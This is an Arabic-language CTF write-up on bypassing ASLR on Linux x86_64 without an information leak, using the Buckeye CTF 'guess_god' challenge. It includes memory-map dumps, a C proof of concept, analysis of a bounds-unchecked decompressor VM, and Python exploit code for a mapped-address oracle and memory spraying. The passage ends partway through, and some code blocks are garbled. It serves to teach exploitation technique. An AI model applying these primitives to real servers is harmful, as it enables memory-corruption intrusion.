
ASLR bypass without infoleak
في هذا المقال، سأناقش تطبيق التقنية التي وصفها Samuel Groß في Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass، لتجاوز ASLR على Linux x86_64.
لإظهار ذلك، سأحل تحديًا من نوع pwnable من Buckeye CTF، اسمه guess_god.
سأحاول إبقاء المحتوى مناسبًا للمبتدئين قدر الإمكان، لذا لا تتردد في تخطي أي قسم إذا كنت تشعر بالثقة الكافية وتريد فقط رؤية الاستغلال.

لم ألعب CTF، لكنني أصبحت مهتمًا بالتحدي قبل حوالي ساعتين من نهاية الـ CTF بفضل Guray00، الذي كان يطلب المساعدة في ديسكورد fibonhack بشأن بعض الأمور المتعلقة بالتشفير.
لم أستطع مساعدته، لكنني ألقيت نظرة على تحديات pwnable، ورأيت أنه سيكون من الجيد فهم منشور P0 على المدونة، وربما الحصول على تلك المكافأة.
التوزيع العشوائي لمساحة العناوين (ASLR) هي تقنية أمن حاسوبي تتضمن الوضع العشوائي للعنوان الأساسي للملف التنفيذي ومواقع المكتبات، والـ heap، والـ stack في مساحة عناوين العملية.
على Linux، يمكنك فحص خرائط (mappings) عملية ما بمعرفة الـ pid الخاص بها من خلال procfs، عن طريق قراءة الملف /proc/<pid>/maps.
إذا كنت عملية وتريد معرفة خرائط الذاكرة الخاصة بك، يمكنك قراءة /proc/self/maps.
على سبيل المثال، يمكنك محاولة قراءة /proc/self/maps باستخدام cat:```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### أنماط خرائط الذاكرة
إذا قمت بذلك عدة مرات، يمكنك أن تستنتج ما يلي:
* يجب أن يكون عنوان القاعدة PIE للثنائي في النطاق 0x00005500_00000000-0x00005700_00000000، مما يعني 2 تيرابايت من العناوين الممكنة.
* الكومة قريبة من الثنائي.
* تقع المكتبات في النطاق 0x00007f00_00000000 - 0x00007fff_ffffffff، أي 1 تيرابايت من العناوين الممكنة.
* تذهب المكدس (في معظم الأحيان) إلى النطاق 0x00007ffc_00000000 - 0x00007fff_ffffffff، أي 16 غيغابايت من العناوين الممكنة.
* النطاق 0xffffffffff600000 - 0xffffffffff601000 يكون دائمًا مُخططًا، يمكنك قراءة [هذه المقالة](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) إذا كنت فضوليًا بشأن ما هو.
## 1.3 كيفية تجاوز ASLR بدون تسريب معلومات
لنناقش ما يمكنك فعله لتجاوز ASLR عندما لا يكون تسريب المعلومات ممكنًا.
هذه محاولتي لتلخيص ما استخلصته من قراءة تدوينة Saelo.
لتجاوز ASLR تحتاج إلى:
* تقنية رش الذاكرة، والتي تتيح لك تعيين ذاكرة متجاورة بحجم معين، على نطاق معين من العناوين.
كما يقول هناك طريقتان للقيام بذلك:
1. عن طريق إساءة استخدام تسريب ذاكرة (وليس تسريب معلومات!)، وهو خطأ يُنسى فيه جزء من الذاكرة ولا يتم تحريره أبدًا، وتشغيله عدة مرات حتى يتم تسريب المقدار المطلوب من الذاكرة.
2. عن طريق إيجاد وإساءة استخدام "أداة تضخيم": قطعة من الكود تأخذ جزءًا موجودًا من البيانات وتنسخه، ربما عدة مرات، مما يسمح للمهاجم برش كمية كبيرة من الذاكرة بإرسال عدد صغير نسبيًا من البايتات فقط.
* أوراكل `isAddressMapped`، الذي يخبرك عند إعطائه عنوانًا ما سواء كان ذلك العنوان مُخططًا أم لا.
### إثبات المفهوم لتجاوز ASLR على لينكس
لنجرب إعادة إنتاج إثبات المفهوم الخاص بـ saelo لكسر ASLR بالكامل على لينكس.
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> إثبات المفهوم الخاص بـ saelo</i> <p/> <br/>
على لينكس، الأمر ليس بهذه السهولة، فمن الممكن كسر ASLR بالكامل فقط إذا كنت قادرًا على تخصيص 16 تيرابايت من الذاكرة.```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
من ملاحظات man malloc:
إذن void *mem = malloc(size) سينتهي به الأمر إلى استدعاء mmap(size + malloc_metadata_size, ...)
بما أن المكتبات تُعيّن في العملية عبر mmap بواسطة ld، فإن هذه التخصيصات ستنتهي بالقرب من المكتبات.
إذا نظرت إلى العناوين التي يعيدها malloc يمكنك فهم ما يحدث بشكل أفضل. نصيحة احترافية: انظر إلى البايتات الأكثر أهمية.
يستغل الـ poc حقيقة أنه عند نقطة ما، يتغير البايت الأكثر أهمية للعنوان المُعاد من 7F إلى 7E، وبما أن التخصيصات متجاورة، فلا بد أن يكون هناك شيء داخل هذا النطاق. (نعم، نحن نطبّق Bolzano-Weirstress theorem لحل هذه المسألة!)
لحسن الحظ، تحتوي حزمة zip على الملفات الثنائية والكود المصدري وملف dockerfile لإعادة إنتاج نفس بيئة الخادم البعيد.

من الجيد دائمًا اكتساب بعض المعرفة حول البيئة، فلنستعرض الملفات ونأخذ بعض الملاحظات.
بناء وتثبيت oatpp 1.2.5، ربما توجد ثغرات مفيدة في هذه النسخة تحديداً؟
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
يتم بناء التحدي من الصفر
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
قد تكون هذه مشكلة، لذا دعنا ننسخ الملفات الثنائية الموزعة بدلاً من ذلك.
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
بعد تنفيذ `docker-compose build` يمكنك تشغيل `docker-compose up` لبدء الحاوية، ثم الاتصال بالتحدي باستخدام `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. تحليل الكود المصدري
الآن بعد أن أصبح لدينا بعض المعرفة الأساسية حول ما يجب علينا فعله لتجاوز ASLR، دعونا ننظر إلى الكود المصدري، مع الأخذ في الاعتبار أننا نريد:
* طريقة لرشّ الذاكرة في نطاقات معروفة من الذاكرة
* أوراكل isAddrMapped
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> مجلد الكود المصدري </i><p/>
إنه في الغالب كود لصق لتشغيل خادم ويب oatpp، في الواقع الملفات المهمة التي سنقوم بتحليلها هي:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
هناك 3 نقاط نهاية:
* `/`
* `GET /files/{fileId}` -> تنزيل ملف تم رفعه مسبقًا، وإذا كان extract صحيحًا، قم باستخراجه قبل تنزيله.
* `POST /upload/{fileId}` -> رفع ملف مع إعطاء {fileId}.
ودالة واحدة منفّذة في `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
أي:
عيّن to_open إلى {file_id} أو {file_id}.unkyle ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
إذا كانت هذه هي المرة الأولى التي نطلب فيها استخراج {file_id}، فإنه يستدعي فك الضغط عليه،
والذي سيكتب الملف المُفكوك ضغطه الخاص بـ {file_id} إلى {file_id}.unkyle. ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
في النهاية قم بعمل mmap للنتيجة في الذاكرة. ```C
struct stat sb;
تستدعي الدالة fork() إنشاء عملية جديدة عن طريق تكرار العملية المستدعية، وفي وقت استدعاء fork() يكون محتوى مساحتي الذاكرة متطابقًا.
لذا، إذا تمكنا من تحويل decompress() إلى أوراكل (oracle) يقوم بـ:
يمكننا استخدام هذه البدائية لاستنتاج مساحة الذاكرة الخاصة بالعملية الأصل (parent process).
يوجد استدعاء للدالة mmap في العملية الأصل: ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
إذا تمكنا من التحكم في `sb.st_size`، وهو حجم الملف بعد فك الضغط، فسنتمكن بسهولة من تحويله إلى بدائية رش الذاكرة.
## 3.2 decompress.*
### decompress()```C
int decompress(const char *fname)
0x42069000000.0x13371337000.من المتوقع أن يكون الملف بالتنسيق التالي:
| الإزاحة | الاسم | النوع | الوصف |
|---|---|---|---|
| +0h | magic | uint64 | قيمة سحرية، ومن المتوقع أن تكون 0x0123456789abcdef |
| +8h | filesize | uint64 | حجم الملف بعد فك الضغط |
static void do_decompress(char *out, char *in, size_t insize)
يمكنك اعتبار هذه الدالة *آلة افتراضية* بسيطة، تقوم بتنفيذ البايت كود المشار إليه بواسطة `in` وتكتب المخرجات إلى المخزن المؤقت المشار إليه بواسطة `out`.
`in` يشير إلى `{file_id}` لدينا.
`out` يشير إلى `{file_id.unkyle}`.
تحتوي هذه الآلة الافتراضية على 4 رموز تشغيل:
* 0 -> NOP
* 1 -> STORE(u8 b)
يكتب `b` إلى `out`، ويزيد `out` بمقدار `1`.
تنفيذ رمز التشغيل: ```C
case 1: {
// Write byte
uint8_t b = in[cur++];
*(out++) = b;
break;
}
2 -> SEEK(u64 off)
قم بتعيين out إلى out + off.
out و off قيمتان 64-بت، لذا فإن out = out+off يعادل out = (out+off) % MAX_64BIT_VALUE، وهذا يُسمى تجاوز سعة عدد صحيح ويمكننا استغلال هذا السلوك للوصول إلى أي قيمة 64-بت. مثال: ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
تنفيذ Opcode: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
انسخ `size` بايت من `out - off` إلى `out`، ثم زد `out` بمقدار 8.
تنفيذ Opcode: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
لا توجد أي فحوصات للحدود في أي من العمليات، مما يمنحنا بدائيتين مفيدتين:
SEEK+LOADclass CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. التفاعل مع الثنائي
قبل الغوص في مرحلة الاستغلال، من الجيد دائمًا بناء شيء يسمح لك بالتفاعل بسهولة مع الملف الثنائي، لتجنب إضاعة الوقت.```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
كان ذلك مهمًا جدًا بالنسبة لي عند محاولة حلّ التحدي؛ فقد حدّقت في خرائط الذاكرة لوقت طويل.
وللقيام بذلك، يمكنك تشغيل نسخة محلية من التحدي وقراءة خرائط العملية بعد تنفيذ بعض العمليات.

لدينا بدائية قراءة من أيّ مكان (read what where)، لذا فإن بناء أوراكل isAddressMapped ليس بالأمر الصعب إطلاقًا.
طريقتي في ذلك كانت بناء هذا البايت كود (bytecode):
memcpy(out, targetAddress, 1)write(b'A')إذا لم تكن targetAddress معيّنة (غير مُخطَّطة) في الذاكرة، ينهار البرنامج الفرعي (segfault) عند تنفيذ memcpy، مما يعطينا ملفًا مفكوك الضغط مليئًا بالبايتات الصفرية (null bytes).
أما إذا كانت targetAddress معيّنة في الذاكرة، فإن الملف المفكوك الضغط يحتوي على b'\x41' كبايت ثانٍ.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 أولية Memory Spray
يمكننا التحكم الكامل في حجم الملف المفكوك، ونحصل على mmap بهذا الحجم في [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).
في استغلالي استخدمت دالة `isAddrMapped` وغيّرت حجم الملف.
على سبيل المثال، لنحاول تخصيص كتلة متجاورة بحجم = 0x4000000 = 64mb```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
هذه هي النتيجة:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
إذا حاولت القيام بذلك مرة أخرى:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
هذه هي النتيجة:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
رائع! لن تحتوي التخصيصات المتعددة على فجوات.
## 4.4 ما مقدار الذاكرة التي يجب رشّها؟
كما ترى من [هذا الـ POC](#poc-of-aslr-bypass-on-linux)، فإن الحجم المثالي للذاكرة المعيّنة المتجاورة سيكون 16 تيرابايت.
لسوء الحظ، إذا حاولت تخصيص 16 تيرابايت من الذاكرة على الخادم البعيد، فسيفشل استدعاء mmap، لأن [nsjail يحدّ من هذا](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).
بعد بعض التجربة والخطأ، اكتشفت أنني أستطيع رشّ حوالي 3840mb من الذاكرة، بهذا الكود:```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
ستكون تعيينات الذاكرة الناتجة شيئًا كهذا:
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
دعونا نركز انتباهنا على العناوين التي تم إنشاؤها باستخدام رش الذاكرة. \(*.unkyle files \)
يمكننا محاولة تطبيق [خدعة عبور الحدود](#Boundary-cross-trick).
| mem | 4gb boundary cross?
| - |-
| 7fe2dc000000 | لا
| 7fe2e0000000 | لا
| 7fe2e4000000 | لا
| 7fe2e8000000 | لا
| 7fe2ec000000 | لا
| 7fe2f0000000 | لا
| 7fe2f4000000 | لا
| 7fe2f8000000 | لا
| 7fe2fc000000 | لا
| 7fe300000000 | نعم
| 7fe304000000 | نعم
| 7fe308000000 | نعم
من خلال استغلال التغيّر من 7fe2.. إلى 7fe3.. يمكننا مسح الذاكرة بخطوة مقدارها 0x100000000 = 4gb.
## 4.5 إلحاق الهزيمة بـ ASLR أخيرًا
بالنظر إلى حجم الخطوة هذا، يمكننا مسح النطاق من `start=0x7f0000000000` إلى `end=0x800000000000` باستخدام `end - start / size` = 256 استعلامًا فقط.```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
في هذه المرحلة، لدينا leakAddr وهو عنوان مُعيَّن بهذا الشكل: 0x7fXX00000000، وفي هذه الحالة، leakAddr = 0x7fe300000000.
الآن، إذا أردنا اتباع تقنية saelo، فيتعيّن علينا إجراء بحث ثنائي على النطاق 0x7fXX00000000 - 0x7fXXffffffff، وذلك لإيجاد الحدود الدنيا والعليا. المشكلة هي وجود بعض الفجوات في هذا النطاق، لذا يفشل البحث الثنائي في كثير من الأحيان.
يمكنك التحقق بنفسك باستخدام هذا السكربت:``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
تلك الفجوة الصغيرة بين 0x00007f763c000000 و 0x00007f763ccaa000 تفسد البحث الثنائي، بالطبع لا يزال ممكنًا، لكنني وجدت طريقة أسهل.
### ملاحظة
نريد الحصول على آخر عنوان مُعيَّن، لأن المكتبات تُعيَّن هناك.
على سبيل المثال، بالنظر إلى هذه التعيينات للمكتبات:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
